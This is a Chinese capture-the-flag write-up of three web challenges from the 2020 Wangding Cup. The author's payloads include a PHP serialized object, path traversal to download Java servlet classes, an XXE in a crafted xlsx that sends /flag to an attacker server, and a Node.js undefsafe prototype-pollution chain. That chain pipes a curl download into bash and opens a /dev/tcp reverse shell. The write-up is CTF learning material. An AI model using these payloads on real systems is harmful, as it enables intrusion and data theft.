網鼎杯青龍組部分web-wp


[網鼎杯 2020 青龍組]前言

第一次網鼎杯,

就……哎,一言難盡。加油吧。

2

1

AreUSerialz

大佬萌說是PHP7.x的檢測問題直接把protected改成public就行

O:11:"FileHandler":4:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

fileJava

經過簡單測試發現就是Servlet+Jsp的集合

payload1:

http://dede6dc721724e09803ef969e7fde1f73ec217cbe7b9401c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../web.xml

web.xml(配置文件,基本上不知道目錄結構的話看這個就夠了)

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
   
  <display-name>file_in_java</display-name>
  <welcome-file-list>
    <welcome-file>upload.jsp</welcome-file>
  </welcome-file-list>
    
  <servlet>
    <description></description>
    <display-name>UploadServlet</display-name>
    <servlet-name>UploadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>UploadServlet</servlet-name>
    <url-pattern>/UploadServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>ListFileServlet</display-name>
    <servlet-name>ListFileServlet</servlet-name>
    <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>ListFileServlet</servlet-name>
    <url-pattern>/ListFileServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>DownloadServlet</display-name>
    <servlet-name>DownloadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>DownloadServlet</servlet-name>
    <url-pattern>/DownloadServlet</url-pattern>
  </servlet-mapping>
</web-app>

其中的displayname也印證了顯示的file_in_java為什么有upload.jsp。

welcome-file-list是默認的首頁顯示upload.jsp

<display-name>file_in_java</display-name>
  <welcome-file-list>
    <welcome-file>upload.jsp</welcome-file>
  </welcome-file-list>

再往下的

cn.abc.servlet.xxxxxxx都是包名順着目錄去找xxxxx.class(字節碼)文件

下載各類java文件。

整個filejava的詳細的源碼放在鏈接里

https://www.cnblogs.com/h3zh1/p/12868122.html
/DownloadServlet
?filename=../../../classes/cn/abc/servlet/UploadServlet.class

?filename=../../../classes/cn/abc/servlet/ListFileServlet.class

?filename=../../../classes/cn/abc/servlet/UploadServlet.class

?filename=../../../../upload.jsp

?filename=../../../../META-INF/MANIFEST.MF

image-20200511104831457

把所有的文件都下載下來了幾乎,好像還有個list.jsp、message.jsp。都在源碼的請求轉發處體現了。

找點

菜雞的我沒明白具體的getshell或者文件讀取的方法(提一句),才把所有的都下載下來。

后來其他人說應該是xxe啥的,具體觸發代碼,在下方寫出來。

xlsx文件也可xxe,新技能新姿勢! (xxe白痴,xml不是我的強項,比賽時候就8會寫了,昨個賽后研究了一下 )。

看了很多文章,比如:https://xz.aliyun.com/t/3357,看太多了篇了。

再往后就是復現時總是帶不出內容,然后開始不停的問大師傅,終於明白了。

(mm獅虎萌)

filename.startsWith("excel-") && "xlsx".equals(fileExtName)
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
          
          try {

            
            Workbook wb1 = WorkbookFactory.create(in);
            Sheet sheet = wb1.getSheetAt(0);
            System.out.println(sheet.getFirstRowNum());
          } catch (InvalidFormatException e) {
            System.err.println("poi-ooxml-3.10 has something wrong");
            e.printStackTrace();
          } 
}

構造xxe

新建xlsx文件,改后綴名為zip,解壓修改[Content_Types].xml的內容。

[Content_Types].xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://174.1.57.28/file.dtd">
%remote;%int;%send;
]>

保存后把文件夾壓縮回.zip,然后改回后綴為.xlsx。

image-20200511105845961

在自己服務器的網站根目錄新建一個,因為我是buu復現的,所以開buu的靶機即可,

apache服務默認開啟的。

file.dtd文件

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://174.1.57.28:2333?h3zh1=%file;'>">

開啟監聽

nc -lvvp 2333

上傳excel-***.xlsx文件

一定要用excel-開頭。有代碼檢測了。

上面提到過。

filename.startsWith("excel-") && "xlsx".equals(fileExtName)

成功帶入flag內容

h3zh1

[notes]

好像不大會,晚些復現……

好了,開始。
這是我接觸的第一道nodejs題( js 白痴 )。

不過看着還可以,不那么難受,污染原理卡了我一天。

在最后分析的時候出現了一個不明白的點,於是實際操作了一下,nodejs安裝參考:

https://www.cnblogs.com/zhouyu2017/p/6485265.html

源碼

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() { // 好像是構造函數
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }
	// 以下是定義的各種成員方法
    write_note(author, raw_note) { //成員方法
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {   //成員方法
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {   //成員方法 感覺是這了
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() { //成員方法
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

分析

第一段,參考http://nodejs.cn/api/modules/require.html。

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');

這里大致是引入了一些模塊,和文件什么的。


下面這一段大體是定義了一個Notes類。

class Notes {
    constructor() { // 好像是構造函數
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }
	// 以下是定義的各種成員方法
    write_note(author, raw_note) { //成員方法
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {   //成員方法
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {   //成員方法 感覺是這了
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() { //成員方法
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

觸發代碼段

這里其實應該是快速掃描,審計代碼的時候先掃到得關鍵信息,因為我萌就是為了getshell 或者 read文件或者 bypass等等。

要先找讓我們能眼前一亮得代碼段,還有可以進行傳參的代碼段。

第一點發現,status路由觸發了/bin/bash我們可以考慮從這入手。

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

我們可以發現commands是以字典方式存的,這里我萌只發現了uptime和free -m這兩條shell指令。

所以還是有點摸不到頭腦。這時候就需要多看看別的了,但是實際能發現的其他東西很少。

裂開了

后面的話基本就是看大佬的wp了。

get_note和edit_note涉及到一個undefsafe 。

看大佬的博客和參考鏈接得到的信息,英文也沒關系,我是google翻譯的。

分享鏈接: https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

部分翻譯結果截圖如下。

image-20200512183412962

image-20200512184718207

好!

大概明確了,undefsafe是不安全的,有兩種污染方式。本題應該是屬於第二種,按路徑定義屬性。

摘要

按路徑定義屬性

有一些JavaScript庫使用API根據給定的路徑在對象上定義屬性值。通常受影響的函數包含以下簽名:theFunction(object, path, value)

如果攻擊者可以控制“路徑”的值,則可以將此值設置為_proto_.myValuemyValue然后將其分配給對象類的原型。

可能現在會有點小小的疑惑。

__ proto __這個東西

不清楚得話多找幾個解析叭。

注入點(污染點)

可以在id處用__ proto __進行拼接,造成污染

edit_note(id, author, raw) {   //成員方法 感覺是這了
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
}

比如id ='_proto_'+'.author'那么的note_list就被成功污染。

污染原理,參考鏈接中的圖片叭:https://blog.csdn.net/qq_41107295/article/details/95789944。

大概分析到這得時候……又卡了…………真的菜………………怎么觸發得command字典啊………………


安裝nodejs之后,簡單測試了幾個代碼,大致有了一點理解,但是還是沒懂。

一天之后……zz

找到了寫了題解得w4nder獅虎問了一下,被驚醒了一樣。

可以參考下圖。

第一張

22

第二張

333

污染原因:同種數據結構!

我一直在疑惑commands和note_list之間為什么會造成污染,形成聯系。

問了獅虎幡然醒悟:同一種數據結構就是一個類啊!這么簡單的理解,我竟然卡了這么久(wtcl)。

復現得獅虎得代碼。

a = {"a":1,"b":2}
b = {}
b.__proto__.c=333
for (let i in a){ console.log(i)}

image-20200513233931499

構造

因為被污染之后程序便會崩,而且注入錯誤的時候也會出現一些奇怪的東西,所以我們只要彈shell即可。

buu監聽靶機,寫shell.txt

bash -i >& /dev/tcp/174.1.75.118/2333 0>&1

edit_note路由處post

id=__proto__&author=curl http://174.1.75.118/shell.txt|bash&raw=hello

提示:post完之后出現something broke是正常的,我當時重復了仨小時,以為自己做錯了。

image-20200514004815891

監聽

nc -lvvp 2333

訪問status路由觸發,反彈shell

image-20200514004936261

參考鏈接:

https://www.jianshu.com/p/3d756c5bba16

https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

https://blog.csdn.net/qq_41635167/article/details/96994528

https://xz.aliyun.com/t/7182#toc-3


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM